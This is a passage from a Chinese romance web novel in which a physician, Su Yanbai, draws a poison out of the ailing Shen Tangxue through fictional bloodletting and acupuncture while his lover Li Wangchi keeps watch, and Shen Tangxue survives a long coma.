李妄迟没有吭声,半信半疑。想起沈棠雪昨日的话与破碎的眼神,他心中一沉…… 不再敢信说“沈棠雪没事”的话。 沈棠雪今日并未有异样,可他觉着昨日的言语、昨日的事没这么快过去。 那些话语就像是在他心里埋下了一颗种子,是祸根,叫他知晓沈棠雪心存死意…… 他再不敢离开沈棠雪一步了。 夜里,许是日有所思夜有所梦,听着身边人轻缓的呼吸,他竟浑浑噩噩地坠入一个无边梦境。 “妄迟。” 梦中昏昏沉沉,面前似有一道声音变得轻缓而空灵。 他怔怔地顺着发声处望去,于月光莹莹之中,对上了沈棠雪的温柔眼神。 沈棠雪站至窗棂旁,微风拂过,丝绸般的乌发随风飘扬,向他微微弯了弯眼睫。 他扯出一个笑来,可这样的眼神里眼底没有笑意,只余破碎的脆弱。 月光都将他周遭照得宛如洒着一层碎光,宛如将他要与月色融为一体。 “阿雪!” 李妄迟猛地瞳孔紧缩,心中扑通扑通直跳,猛地扑身过去! 却在月光浅淡之中……抓了个空。 怀里的人好似在月光之中化作星星点点,消散了个干净,只余那一个脆弱的缱绻眼神深深地映在他的心里。 他目眦尽裂,再回神时,却是昨日醒来时床榻空荡、沈棠雪已然不见的绝望情形。 面前的被褥冰冷,没有人在此度过一晚的痕迹,呼吸之间,连那个人的气息都被悄无声息地全数夺去。 李妄迟身子不断地颤动,似是又一阵恐惧涌上心头,下一秒便见一道身影缓缓出现在他面前。 他缓缓抬起一双通红的眸子,心中涌起一阵恐慌的喜悦,扬声唤道:“阿雪!” 可那道身影的眼神冷冰冰的。 身影似是觉得他残忍,又觉得自己苦痛,缓缓扬起一个比哭还难看的笑来。 他说:“放过我吧,妄迟……我不想治了。” 一道被微风绕到他耳边的轻柔话语入耳,李妄迟猛地瞳孔紧缩,身子僵硬,不可思议地抬头看他,半晌目眦尽裂。 “阿雪……阿雪!” 他拼命想抓,迫切地想要抓住眼前人,却抓不住。 他好像只是抓住了虚无缥缈的一团雾,就像抓不住沈棠雪一样,只能眼睁睁地看着他的生命力逐渐流逝…… 他……留不下他一分。 李妄迟的心中顿时涌起一阵无望,汹涌得几乎要将他掩埋。 浑浑噩噩的思绪之间,他好似连自己……也分不清梦境与现实了,只有些绝望地想着: 沈棠雪当真肯为了他再活着吗?他会如梦境一般苦痛吗?这漫长的半个月…… 真的能熬过去吗? …… 猛地惊醒时,李妄迟冷汗直冒,恍然地睁眼。 他缓慢地转动眼珠,颤抖着手指本能地去寻找着身边人。 在视线凝定逐渐聚焦在沈棠雪平和地背着他侧身睡着的安稳身形时,缓缓红了眼眶。 “阿雪……” 他缓缓凑近那人的身形,轻轻从身后将人搂着,将耳朵贴近他的侧颊,去确认他的呼吸。 “沈棠雪……” 这一夜不知惊醒了多少次,夜深,夜沉,东方肚白。 每一次惊醒,李妄迟都要下意识地后怕一下。 他一次又一次地反复确认沈棠雪还在身边,反复确认他还有气息…… 最后闭着眼环着人埋进他的颈窝,深深地吸了吸。 次日,他去寻了苏砚白。 见着人时,他将一腔早就在嗓间酝酿许久的话语问出口, “苏大夫,可有什么能减少痛感……能叫阿雪好受点的东西么?” 他闭了闭眼,沙哑地道:“……我真的觉着他要坚持不下去了。” 苏砚白沉默了很久很久,没有答话。 如若有这般两全其美的法子,他早拿出来了,又何须等到人痛苦得快要死去之时,再叫人来问? 可如今是进退两难之时,如若当真再没有法子打破如今这困境,他当真也觉得……沈棠雪撑不到那一日了。 一时空气霎时安静,二人都沉默许久,屋内针落可闻。 苏砚白低首不知思索多久,才指尖缓缓收紧,缓缓开口道:“或有放血一法可行。” 李妄迟一愣,“什么?” “如今沈棠雪体内的杜余草已然消解许多,毒性残留尚少。我有一剂药,能让其毒性尽数涌向指尖的血液之中。” “届时,以针破开皮肉,行放血之法,能叫杜余草的毒性随着血液一并涌出,加速毒性的消散。” 李妄迟只是轻声问道:“……他会疼么?” 苏砚白一顿,沉默片刻答道:“……放血之法同样伤身,且十指连心,也会疼痛。只是比喝药要好些。” “不必很久……待毒性几乎消减,便可再用针灸将最后的微小毒量逼出体内,以此痊愈。” 李妄迟闭了闭眼,思索了许久,最后沙哑着道:“那便试试罢。” 第38章 第三十八章马上便要脱离毒性束缚的愉…… 告知沈棠雪放血之法时,苏砚白忐忑了许久。 其一是此法并未实践过,不知其疼痛程度,不知……沈棠雪是否受得住。 其二是依照如今沈棠雪身子脆弱成这般的模样和他不太想再坚持了的心理……他不一定会答应。 没想到沈棠雪只沉默一瞬便答应了。 此时,沈棠雪方喝完药。听他说话时,他的脸色苍白,嘴唇毫无血色,湿润的眼睫随着话语缓缓一颤。 半晌,他轻轻放下手中的药碗,闭了闭眼,将体内那阵汹涌而来的苦痛压下,深深呼吸了几息平复心情,问道: “什么时候开始?” 苏砚白喜出望外,立刻回道: “趁你方喝完药,杜余草的毒性被激发,能够极好地随着药丸的药效移动,以便抽离出体内……我现在就去准备!” 他说罢,便自顾自出去了,一时只剩李妄迟与沈棠雪在屋内。李妄迟定定地看着他,缓缓坐在了他的身边。 沈棠雪瓷白的小脸因着病气又消瘦了几分,显得愈发小巧。 端坐时,他修长的双手放在膝弯,抬着一双清冽的眼睛看着人的时候,显得好乖。 见李妄迟望来,他转眼对上他的视线,眼神带着幽深的平静。 李妄迟缓缓将他的手环在手心里,问道: “阿雪……等会便要放血,会怕吗?苏大夫说十指连心,等会如若还是会很痛……” 沈棠雪笑了笑,眼神中有温吞的平定,反倒捏了捏他的手心,安抚道: “放心罢,至少会比现在好些。” 对他来说……日复一日喝药已然是最苦痛的事了。哪怕再想要痊愈,面对着如同要叫人骨头都重组一般疼痛的药,他还是发怵。 他也不想因着那药变成日渐消瘦成一具枯骨的模样……不想在心惊胆战中害怕着死去……不想疼痛得每日难忍。 如若还有一个法子能够达成效果,他会去做。 ……哪怕会疼,他也会去做的。 李妄迟心知肚明,心中仿若被一只无形的手攥住。 看着面前人脆弱的模样,他缓缓倾下身子亲了亲沈棠雪的侧颊,心疼地道: “我陪着你。” 苏砚白来得很快,不一会儿便有一群侍人蜂拥而入。一人一个地抱着器皿、铜盆、细针……将屋内摆得密密麻麻。 那些器皿各式各样,苏砚白正在药箱中捻着的细长的针在空中泛着尖锐的冷光。 李妄迟不忍地别过脸去,下意识地伸出手来想要将沈棠雪的眼睛捂住。 沈棠雪却眼神清冽地定定看着那针,朝着苏砚白伸出手来。 苏砚白在他手上放了一枚药丸。 “此药能将你体内杜余草的毒性都涌上指尖的血液之中,届时破开皮肉,取出污血,便能将体内的杜余草的毒性消解许多。” 沈棠雪笑道:“这样便不用吃药了吗?” 苏砚白面色复杂地点了点头,半晌又补充道: “……虽不用吃药了,但还是会痛,你不要抱以太多期待。而且接下来的扎针也需三次。” 沈棠雪笑了一下,心知肚明地应了声,“好。” 他毫不迟疑地将药丸服用,随即似是想到了什么,转眼悄然看了李妄迟一眼,微微敛下眼睫,示意苏砚白动作。 不一会儿,入腹的药丸便有了效果。 呼吸之时,沈棠雪感觉一阵血液上涌之感,一阵密密麻麻的酥麻感朝着指尖涌去,仿若一阵神奇之感,如流水涌动。 他缓缓闭了闭眼,感受着苏砚白双指捏着细针,在他的指腹上扎了一下。 这样的痛感隐隐约约,叫他指尖微颤一下,并无警惕之心,他缓缓放松下心来。 可不过一秒,苏砚白就凝定着眼神逐渐将针轻轻往里旋。 霎时,随着细针旋转着入内,一股无法言说的刺麻和酸胀感涌上心头。 沈棠雪一愣,便觉细针刺入皮肉逐渐旋转着往血液里挤的感觉愈来愈明显—— 刺痛的异物感汹涌而来,带着不容拒绝的涌上心头的尖锐触感,他顿时脑子嗡的一声,头皮发麻地睁大了瞳孔! 指尖的血液都随之聚在一处,逐渐朝着针往里面扎的方向流动,沈棠雪的指尖不自觉微蜷抖动起来,又被苏砚白抓着展开—— 他只能眼睁睁地感受着杜余草的毒性随着针往里扎的动作在他体内发狠冲撞,像在拼命挣扎一样。 他顿时脸色惨白,抑制不住地颤抖,指尖一阵阵地发烫,只能徒劳地攥紧空着的那只手,连指甲都嵌入皮肉。 沈棠雪的指腹都攥得发白,低首垂眸之时,他轻轻瞥了李妄迟一眼。 随后抿了抿唇,缓缓闭上了眼,还是没有吭声。 李妄迟似是察觉到了什么,看着他额上冒了冷汗的模样,紧紧地攥住了他的手,“阿雪……” 他将人轻轻搂着顺势侧过身来靠在他的胸膛之上,又将他的脑袋又往自己的怀里揽了几分。 滴答,滴答。 指尖微动,被苏砚白紧紧捏着的手指滚动着裹挟着毒性的浑浊污血。 随着挤压的动作,浊血一滴一滴落进铜盆之中,把铜盆的水都变得浑浊。 沈棠雪不住地颤着身子,除却被捏着的那只手指,其他的都已经颤抖得不成样子了。 他冷汗直冒,闷声将头埋进李妄迟的怀里,脊背在发颤,半晌才似抑制不住呻吟一般苦痛出声, “哈……” 他喝药的这半个月身子已然虚弱许多了,如今更是随着血液逐渐减少而变得愈发没有气力。 再抬起脸时,他的脸颊苍白如纸,几乎要昏死过去。 沈棠雪的嘴唇不知何时也在大幅度地抖动着,整个人如同被抽空的脆弱空壳。 他毫无气力地躺在李妄迟怀里望着他时,湿润的睫羽不断发颤, “妄迟。” “我在……” “妄……迟……” “阿雪,我在。” 他到最后已然有些意识涣散。却还是不断地喊着李妄迟的名字。 李妄迟看着他这副模样,心都揪紧,握住他的手时嗓音都更加嘶哑,一遍一遍地回应着。 不知多久,苏砚白才堪堪将针缓缓拔出。 随着疼痛的抽离,沈棠雪闷哼一声,似也支撑不住地沉下肩头,失力地垂下眸子,气若游丝地呼吸着。 李妄迟忙不慌地将人搂着,“他这是怎么了?” 苏砚白对李妄迟说道:“他这是失血过多的形境。今日的放血是最痛的一次,明日、后日会好上许多。” “我一会儿去煎一副补气血的药来,给他好生调养一下。” 之后两日,仍是依旧,不过果真如苏砚白所说的那般,沈棠雪好了一些。 待细针抽离之时,沈棠雪甚至还有气力往铜盆里瞥一眼。 他见着小半盆污血摇晃,心神一动,随之而来的是身体轻快两分的感受。 沈棠雪喟叹一声,心中竟涌起一阵马上就要脱离杜余草束缚的愉悦来。 但此法到底是放血,他的底子还是比先前虚弱一些,看着李妄迟的眼神都带了一些疲态。 他微微颤着眼睫,连最后的针灸是什么时候也没力气问,思绪之间便靠着李妄迟的胸膛就沉沉睡去了。 殊不知,在他睡着之后不久,苏砚白又进屋来了。他沉沉地看着沈棠雪垂眸熟睡的模样,对李妄迟道: “今晚就针灸。” 李妄迟诧异道:“这么快?” 苏砚白道:“今日放血结束,他体内的杜余草毒性已然所剩无几,不如趁着毒性尚且活跃之时将其最后全数抽离,也省得夜长梦多。” 李妄迟见着沈棠雪苍白得毫无血色的脸颊,本着让他早些痊愈的思绪松了口。 却没来由地涌起一阵恐慌来。 第39章 第三十九章(已修)病好了。…… 入夜之时,夜幕方幽,苏砚白吱呀一声推开门扇,款款进屋。 此时沈棠雪还沉沉睡着,眉眼轻阖,脸颊小巧苍白。侧过头去时,对来人毫无察觉。 李妄迟正坐在床沿,神情被藏在阴影之下。见他来,缓缓抬起头轻声问道:“要不要将他唤醒?” “不用。” 苏砚白摇了摇头,转头轻声唤侍人进来将针灸的物什准备好。紧接着却又听李妄迟问道: “针灸……会痛吗?” 苏砚白一顿,缓缓转眼看向沈棠雪如今的模样时,却是没有回答。 他选在今晚针灸,也是因着沈棠雪如今身子虚弱,经不起再一番折腾。 如若等到他身子好些再针灸,放血激起的杜余草的活性早便消减下去…… 再次唤醒毒性的话,会更痛。 但此时看着沈棠雪倦着眉眼一副毫无气力的模样,他又有些摸不准了。 今晚针灸宛如迷雾探路。此法对他真正疼痛会是如何…… 他也不知晓。 他深吸了一口气,平复了一下心情,眼神带着思索看向李妄迟时,将种种思绪藏在眼底,并未将其告知。 左右告诉他也无用,不论是今日还是明日,沈棠雪都会有伤了身子的风险。 倒不如便选了今日,免得夜长梦多。 他让李妄迟将人搂着正正地放躺在床榻上,随后转头从药箱之中持起一根细长的毫针。 毫针尖细,在莹莹微光下闪烁着冷光。他侧过头时,透过针看向沈棠雪苍白的面容,眼神凝定。 目光流转,他唇间溢出一声轻声呢喃,好似在安慰,又好似在祈祷, “……不会痛的。” 下一瞬,细长毫针缓缓刺入沈棠雪的腕间。 穿透细嫩的皮肉,避开明显青紫的青筋起伏,潜进穴位,苏砚白不敢出神分毫,额上沁了一滴冷汗。 见着沈棠雪毫无所觉,似是情况良好,他定了定心神,又将毫针往里刺了几分—— 却见沈棠雪的手腕猛然抖动了一下。 那样的颤抖似是本能意识下的触动,哪怕除此之外再无动作,这样的情景却还是足以让苏砚白警惕—— 他猛地转眼看向沈棠雪。 只见沈棠雪轻躺在床榻之上,微微蹙起眉,唇瓣微抿,呼吸之间,气息似是急促了几分,眼尾惹上一分薄红。 苏砚白眉头紧紧蹙起,握着毫针的指尖都蜷了一蜷,心中跳动如鼓点一般。 一分一秒过去,他端详着沈棠雪的神情,忐忑不安,缓慢之时,带着希冀。 不知多久,沈棠雪呼吸重新变得平缓。 苏砚白深深地呼出一口气,紧绷着的脊背却是没敢放松一分,他放缓放轻手上的动作,小心翼翼。 第二根毫针落下,直指沈棠雪的太阳穴。 沈棠雪的脸颊白皙,毫针一刺,好似一眼便能望见里头模样的浅薄皮肤,叫他不敢下手太重。 苏砚白一面手上缓缓捏着针往里送,一面端详着沈棠雪的神情。 这一次,沈棠雪眼睫轻缓地垂着,面容平和,毫无所觉。 却在扎入第三针时,变故骤然发生—— 在豪针扎入锁骨底下的一处空隙之时,沈棠雪猛地整个人剧烈地抖动起来! 他像砧板上的鱼一样弹跳起身,骤然睁开眼,瞳孔紧缩,眸中水光潋滟。 沈棠雪的那一双脆弱眸子里满是怔怔和不解,瘦削的身子颤得厉害。 半晌,骤然躬起身来,侧过脸去吐出一口黑血来。 “阿雪!” 一旁紧紧盯着的李妄迟骤然急呼一声,猛地伸手将他扶住,紧紧地揽着他的身子。 待平和一分,他才见沈棠雪缓缓抬起的那一双清冽眼睛如今泪流满面。 沈棠雪分明眼神怔怔,尚还不知身处何处,可眼尾都因苦痛而骤然泛起薄红。 他那一双湿润眼睛中晶莹的泪珠不住落下,仿若被巨大的痛楚吞噬。 他用力深吸两息时,嗓子颤抖着哭腔,伸手就要去抓锁骨上的毫针,同一时间,苏砚白厉声喊道: “李妄迟!将他按住!” 李妄迟手比脑子快,在听见话语的那一秒骤然抓住了沈棠雪的小臂,嘭的一声将他拔针的动作硬生生地阻拦—— 下一秒便见被抓握着的人不可思议地望向他,身子不断颤动着。 沈棠雪浑身发着抖,缓缓抬起一双泛着水光的眼睛望着他时,眼底破碎交叠。 “为……什么……” 那一双泪光闪烁的眼中是绝望和不解,缓缓紧蹙起眉微红着眼眶看着李妄迟,好似在控诉他残忍。 不解李妄迟为何要拦着他。 这一刻,李妄迟感觉自己的心都要被撕碎了。 苏砚白见此机会眼神冷静地上前,快速在沈棠雪身上点了几个穴位。 刹那,沈棠雪瞳孔猛地紧缩,顿时瘫软下去! “阿雪!” 李妄迟揽着他的腰身将人扶住。 在他怀里时,沈棠雪低垂着头,一手虚虚搭在他的肩头。 他的脸色苍白如纸,额上密密麻麻地冒了冷汗,身子不住地颤动着,脆弱的身形毫无气力。 清泠泠的眼里好似汪着泉水,沈棠雪不住地流着晶莹的泪,好似一个被打碎的瓷娃娃。 看着他涣散着瞳孔气若游丝的模样,李妄迟顿时又急又慌,急急问道:“不是说不会痛么!” “我……” 苏砚白也不知如何开口,抿了抿唇避而不答,额上冒了几滴冷汗。 却还是手上动作未停,专注于去看沈棠雪的穴位。 李妄迟也知眼下不是说这个的时候,将心中攒在一处的怒意强行压了下去,深深颤抖地呼了一口气。 他伸出手来将沈棠雪不容拒绝地按在床榻上,眼睁睁地看着一根一根毫针刺入穴位时沈棠雪苦痛的表情,感觉自己的心都揪在一处。 他紧紧地将沈棠雪的手环住,捏着他的指尖,努力地给予他一些安抚的气息。 “妄……迟……” 沈棠雪的指尖颤抖得发白,清冽的眼神盈满了泪。 看着他时,那泪便一滴一滴落下。 方才还尚有困意的眼神如今被痛得满是清明,疼痛之时,还带着些清醒的残忍。 他紧紧抿着唇压抑着嗓间的痛苦,空着的手的指甲却又本能地掐进皮肉。 “阿雪……别掐,别掐……” 李妄迟心疼得揪在一处,抓着他的手腕往自己虎口带去,让那指甲掐进自己的皮肉。 “唰拉——” 混乱之时的沈棠雪怔怔地理不清思绪,脑袋嗡嗡的,连被人拉着也不知道,只下意识地用力。 霎时,李妄迟的虎口被他的指甲掐出血来,近乎见骨,鲜血喷涌而出。 手上传来一阵疼痛触感,李妄迟却恍然无觉,只心疼地用空着的手摸了摸沈棠雪的侧颊,轻声哄道: “乖……阿雪,马上就好了……马上就不痛了……” 看着沈棠雪这般难受的模样,他心中只有后悔。 他不该答应今晚便针灸,哪怕慢一点也没关系……晚一点也没关系……至少,不要让他痛成这般。 他不该这般急切的。 现在针灸已至中途,根本不能停止……这对沈棠雪真的太残忍了。 眼见着最后一根毫针落下,沈棠雪仰起雪白的长颈,从嗓子里挤出一阵颤抖的呜咽, “好痛……” 他的指尖发颤得厉害,身子大幅度地抖动着,脸色苍白如纸,嗓子溢出哽咽,不住地呕血。 滴答……滴答滴答滴答。 先是一滴一滴黑红浓稠的血顺着下巴流下,后涌出的是鲜红的血。 直至最后,沈棠雪几乎都有些瞳孔涣散了,整个人瘫软得没有力气,几乎要跌落在地。 他好像已然无了意识,像个脆弱无神的瓷瓶,双目失神地看向前方。 好半晌向后倒去,被李妄迟搂着昏迷在他怀里。 …… 沈棠雪很久都没有醒。 分明期盼了许久的劫后余生,如今倒显得像是暴风雨来临前的最后一丝平静。 殿内,李妄迟不断焦灼地踱步,脚步声如鼓点一般打在众人的心上。 四周侍人齐齐低首守在一旁,床榻前只余太医和苏砚白把脉。 二人时不时小声交流两句,又神情双双变得很凝重,一言不发。 此时李妄迟已然守了两日,身心疲惫,却还是忍着聚起一丝气力来,低垂着眉眼看向他们,嘶哑地问道: “……如何了?” 苏砚白脊背一顿,犹豫了半晌转过身来,张了张口嗫嚅着才向他禀报道: “……他体内的杜余草毒性已解,只是他原先便身子虚弱,喝药放血之法又叫他的身子伤了几分。” “所以针灸时刹那气血上涌,毒性反噬,如今脉象虚弱……就连我们,也不知道他什么时候醒了。” 闻言,李妄迟脑子嗡的一声,一下子几乎要跌坐下去。 他的眼眶通红,僵硬地转眼看向床榻上昏迷不醒的沈棠雪,涌起一阵不能接受的悲伤之感来。 心脏发沉又提起,他感觉心被紧紧地攥着,连嗓子都要压抑得说不出话来, “你们先出去吧……我守着。” 待所有人离殿,他才紧绷着身子好似才缓缓放松两分。 他定定盯着沈棠雪,恍然地一下一下向前走去。 面前昏迷着的人……是他的爱人。 是他久别重逢了很久才见到的人;是他误会了很久的人伤了心的人;是他拼尽全力……也想救回来的人。 ……苏砚白不是说杜余草的毒性消解了就好了吗? 不是说放血和针灸的法子比吃药更能让阿雪忍受吗? 为什么会变成现在这样? 他缓缓红了眼眶,心中仿若被一只无形的手攥得死紧,几乎要喘不过气来。 沈棠雪不想变成枯骨一样难看……他看着他如今这副昏迷不醒几乎要没命的样子就好受吗? 他闭了闭眼,缓缓恍惚地坐在床沿,垂眸捧起沈棠雪的手腕,细细摩挲着。 ……只不过三日,沈棠雪好似又消瘦下去了一圈。 他指尖抚上沈棠雪的侧颊时,好似在小心翼翼触碰着一个易碎的瓷器。 沈棠雪的下巴愈发尖细,脸蛋小巧得可怜,脸色是病态的瓷白,让人看着不忍。 他缓缓倾身,吻上沈棠雪冰冷的唇瓣。 这样冷的唇瓣从前总是噙着一抹笑意,对他说着爱语,而如今只是溢出痛楚。 李妄迟连沉沉的眼神都带着悲伤,额头轻贴上沈棠雪的额,唇紧贴在他的耳畔,有些苦痛地呢喃, “阿雪……这么苦的药……那样痛的法子你都熬过来了,为什么不愿意醒?” “你再醒来看我一眼,你再看看我好不好……” 苦痛的话语盘旋在空气中,又霎时散了,沈棠雪好似并未听到一分。 不然怎会在三日之后……他连药都灌不进去了? 不知何时,沈棠雪连药都喂不进,气若游丝的呼吸愈发轻缓,几乎要散在空中。 李妄迟再凑近耳朵去听,恍然之间好似也听不见了。 他意识到此事之后红着眼眶,就这样闷坐了一日一夜,身子不住地抖动着,似是闷声崩溃了。 紧紧地贴着沈棠雪的胸膛,将沉闷的哽咽声抑制在嗓子里。 到最后,希望逐渐渺茫。 眼中闪过一丝灰暗,他几乎也要绝望了。 不知已经是第几日,他贴着沈棠雪时,只觉自己的呼吸也变得气若游丝。 闭上眼时,一声不吭,也随他沉沉睡去。 直至某一日,沈棠雪的指尖微动。 起初李妄迟觉得是错觉,还恍然地自嘲嗤笑一声,眼神中闪过一丝悲痛。 直到沈棠雪的指尖肉眼可见地蜷缩起来,他才猛地睁大了眼,脑子嗡了一声。 “阿雪……?阿雪!” 他像是抓住一根救命稻草一般夹杂着最后的希冀颤颤巍巍地抖动地手指将沈棠雪的手捧住。 下一秒,便见沈棠雪的眼睛缓缓睁开。 第40章 第四十章三个月了……阿雪,你活下来…… 李妄迟只觉自己的呼吸都滞愣了一瞬,睁大了眼不可思议。 他颤抖着呼吸,猛地倾身上前将沈棠雪抱住。 他环着沈棠雪脊背的指尖颤抖,缓缓收紧,呼吸颤抖而急促,像在对着失而复得的珍宝。 “阿雪……” 紧接着他又喊了一声,声音却哽咽得发闷。像是这些时日久而久之积攒的崩溃骤然爆发—— 他抱着沈棠雪哽咽得上气不接下气。 被抱着的沈棠雪似是方醒,还有些愣神,他感受着耳边急促的哽咽声,微微睁大了眼,有些怔怔地转过眼去。 下一秒便觉一滴一滴烫热的泪落在了他的颈窝,颤颤地滚动着,又顺着胸膛流下。 滴答,滴答。 那一滴滴热泪夹杂着后怕的庆幸情绪,沈棠雪心中一紧,似是被那泪流进了心里。 他感觉自己的心脏都被这苦痛的哽咽声揪得发紧,缓缓闭了闭眼,心中一酸,缓缓伸手搂住了李妄迟的脖颈。 “妄迟。” 他的呼吸温凉,浅浅地打在李妄迟的耳畔,眼睫微微颤动之时,又安抚般地轻唤道: “妄迟……” 环抱着他的人此时却如听不进去一般,抱着他的手愈发紧。他生怕是一场梦,梦醒了,沈棠雪又不见了。 ……他不敢回应,也怕得到回应。 沈棠雪似是知晓他心中所想。他知晓自己昏迷了很久,也知晓……这次当真将李妄迟吓到了。 他轻叹一声,像只小猫儿一样轻轻搂着李妄迟的脖颈,微微往前凑了凑,鼻尖便抵着李妄迟的侧颊。 他微微敛下眉,纤长的睫羽便如羽毛一般扫在李妄迟的脸侧。 他微微抬起眼,便将李妄迟此时几乎陷在梦魇里的神情收入眼底。 沈棠雪定了定心神,轻轻往前触碰,如蜻蜓点水般用唇瓣贴上李妄迟的侧颊,在他耳边一遍一遍不厌其烦地轻哄道: “妄迟,我在这里。” “妄迟……沈棠雪在这里。” 不知过了多久,李妄迟才恍过神来。他颤着湿润的眼睫缓缓退开身看向沈棠雪时,眼眶是布满血丝的通红。 眼前是清澈着眼神笨拙地哄他的爱人,分明还有病后余波,行动有些迟缓,却眼神温柔地定定看着他。 李妄迟觉得霎时所有疲惫和担忧都一扫而空了,脑中霎时嗡了一声。 面前的是鲜活的沈棠雪,是活着的沈棠雪……是那个有生命力的沈棠雪。 他这些日子提着的心好像真的松了下去。 他忍不住红了眼眶,深深吸了一口气,颤抖地环住沈棠雪的腰身,将头埋进他的颈窝。 感受着身边人的每一分真实,确认他的每一分存在,李妄迟有些庆幸地开口道: “三个月了,阿雪。” 沈棠雪一愣,“什么?” 李妄迟笑着抬眼看他,眼底似有闪烁着泪光,嘶哑地开口道: “你回京之时只余三个月的寿命……现在你活下来了。” 沈棠雪怔怔,半晌才意识到了什么,猛地睁大了眼,一阵一阵奇特的荒谬的不可思议涌上心头。 浑浑噩噩之间,好似有什么在他脑海中炸开,一股奔涌而至的百感交集涌上心头。 他回京已然三个月了? 他体内杜余草的毒性解了? ……他,活下来了? 霎时,沈棠雪感觉自己的声音都在发颤。 他那双清澈的眼睛隐隐有些泪光,一时不知该说什么,只是紧紧抿着唇,嗓间压抑着哭腔。 见着他这副模样,李妄迟心中一软,倾身吻了过去。 唇瓣贴在他的唇角,带着温热的熟悉的气息,沈棠雪闭了闭眼,感受着一双手小心地捧着他的脑袋,熟悉的触碰轻轻在他唇边吮吸。 他不自觉柔和下眼神,缓缓搭着李妄迟的肩头,身子往前凑了一凑。 眼中有劫后余生又软得一塌糊涂的温柔。 沈棠雪轻轻地回应着李妄迟,垂下眼眸温存地亲了亲他的唇瓣,一时二人呼吸交缠。 李妄迟呼吸一滞,只觉沈棠雪睫羽微颤,还泛着水光的眼神看着他时显得好乖。 他心神一动,缓缓将沈棠雪的脑袋往自己身前又带了一下,紧贴着他闭上眼吻得更凶。 这些时日的患得患失涌上心头,他心中酸涩,动作更加汹涌地撬开沈棠雪的唇齿,像是誓要将他浸满自己的气息。 温热的吐息喷在沈棠雪的侧颊,将他吻得节节败退。 沈棠雪被这个吻晕染得眼睫都有些湿润,他微微眯起眼,忍不住像猫儿一样往后躲,推了推他的胸膛,轻喘着气呼吸着。 半晌,李妄迟才晃过神来,见着了沈棠雪氤氲着水光的眼神。 沈棠雪的眼尾像是被欺负狠了地泛起薄红,连唇瓣都带着湿润微粉,鼻尖微红。见他望来,毫无威慑力地瞪他一眼。 李妄迟心里软得一塌糊涂…… 却在一刹那之间感受到了沈棠雪呼吸时难以察觉被伪装掩盖着的气若游丝。 李妄迟一顿,用探究般的眼神暗暗望去,只见沈棠雪的呼吸半浅半深,面色如常。可锁骨不住有些用力地向上起伏的动作…… 暴露了他堪堪掩埋强撑的伪装。 李妄迟骤然冷静了下来,在沈棠雪无可挑剔的如常神情中捕捉到了一丝强撑的疲惫时,心中一紧,一阵懊恼涌上心头。 他终于意识到……沈棠雪是个大病初愈的病人。 李妄迟闭了闭眼,心尖一颤,眼神微敛着发沉地轻轻环住他的腰身又凑上前去。 沈棠雪以为他还要亲,闭了闭眼下意识往后退了一下,没想到眼睛传来一阵如同安抚一般温热的触感。 李妄迟的吻像羽毛一样轻柔,带着温柔的痒意,一丝一丝地抚平他心中涌起的疲惫。 让他不自觉沉下肩头,缓缓放松下身体。 沈棠雪心神微动,温柔地抬起眼来,顺着李妄迟的意被他捧起脸颊。之后又顺势靠在了他的怀里,缓缓放松下来。 “妄迟。” “嗯?” “妄迟……” “嗯。” 沈棠雪的声音很轻,气息也轻,伸出苍白的指尖,去勾李妄迟低下头时落下肩头的乌发。 他仰起头时,用一双清澈的眼神看李妄迟,显得好乖。 李妄迟的眼神缓缓变得温柔,揉了揉他的发顶,将他轻轻揽住,半环在怀里。 可下一秒却见缠绕着他乌发的指尖似是无力得几乎要勾不住,轻轻无力地蜷了一下。 李妄迟猛地瞳孔紧缩,紧绷起身子,便见不知何时沈棠雪的眼睛微微失神下来,像是终于支撑不住一般……见了疲态。 沈棠雪的瞳孔一下一下地涣散着,自己却不自知,唇角还噙着一抹淡淡的笑意。 李妄迟的心宛若被攥紧一般,涌起一阵酸涩之意,怦怦直跳。 却又生怕打破沈棠雪努力维持着强撑着的平衡,叫他发觉不对,李妄迟不动声色地暗暗道: “你昏迷的这些时日……苏砚白也守了你很久。你既然醒了,得告知他一声,我去唤他来给你看看。” 40-50 第41章 第四十一章是不是也快到李锦殊行刑的…… 苏砚白来时,沈棠雪已然轻轻靠着床沿的花几睡着了。 他的脸色有些苍白,微微蹙着眉,低垂着的眼睫显得又些疲惫。 沈棠雪似是睡得浅,听着渐近的脚步缓缓睁开眼来,随即微微一愣,冲着眼前人笑了一下, “砚白。” 苏砚白快步走近,上下打量着他如今的模样,让侍人拿药箱来,坐在他的面前,不容拒绝地凝定起眼神给他把脉。 “可有头晕脑胀?” “没有。” “可有胸口发闷?” “没有……” “可有提不起气力?” 沈棠雪悄然看了一眼李妄迟,有些悻悻,“……没有。” 苏砚白撩起眼皮毫不留情地揭穿他的谎话,“骗人。” 他方才还真当被沈棠雪强撑起的平和神情唬了一下,谁知脉象一见,他体内虚弱得几乎不成样子。 虽然杜余草的毒性已解,但这些时日喝药放血和针灸无一不是耗气血的法子。 沈棠雪本就在鬼门关走了一遭,如今疲惫得说不出话才是常态。 又怎会是显得泰然自若的模样? 他看着沈棠雪眼底一闪而过的倔强,明白他心中所想。 可是想到沈棠雪这般不爱惜自己身子,几乎为了不让他们担心而强撑着的模样,就气得牙痒痒。 本来此时便是他体内亏空应当好好养着的时候。 如若自己没来,当真被他唬过去了呢? 如若耽搁几日,沈棠雪又出什么事了呢? 他没好气地瞪了沈棠雪一眼,转眼看着李妄迟,将他叫出来叮嘱。 “他如今气血亏空,脑袋混沌,虽杜余草毒性已解,但这些时日还是危险,需好生照看,不得叫他思虑过度。” 苏砚白一面说着,一面抬头认真地看向李妄迟, “我会给他煎一些补气血的药,府中再准备些清淡的食补,调养些时日……” 却对上了李妄迟了然的眼神。 李妄迟听他说话时若有所思,眼神定定,像是早便看出沈棠雪身子虚弱。 他欲言又止,神情凝重,像是急切地想问些什么,半晌又自顾自嗫嚅着止了言语。 苏砚白挑了挑眉,打量着他思索半晌,将他没出口的话语回应,“你可以去他跟前卖惨了。” 李妄迟愣了一下,道:“什么?” “不是怕他不会好好吃药,不照顾好自己的身子么?你便将你如今这副模样给他看,叫他别让你担心……” “他定会听的。” 说罢,苏砚白的眼中闪过一丝狡黠,又定定地转身推开殿门。 在进屋的瞬间,他敛了神情皱起眉来,装作一副凝思的模样,直直向着沈棠雪走去。 此时沈棠雪正微微垂着眼睫愣神,见他来,缓缓抬起头,便听苏砚白道: “方才我与陛下商讨了一下你近日补药之事。如今你大病初愈,需得好好吃饭。” 沈棠雪一无所知,眨了眨眼,看着他笑道:“多谢你,砚白。” 苏砚白道:“你别谢我,你该谢的……是你旁边那位才是。” 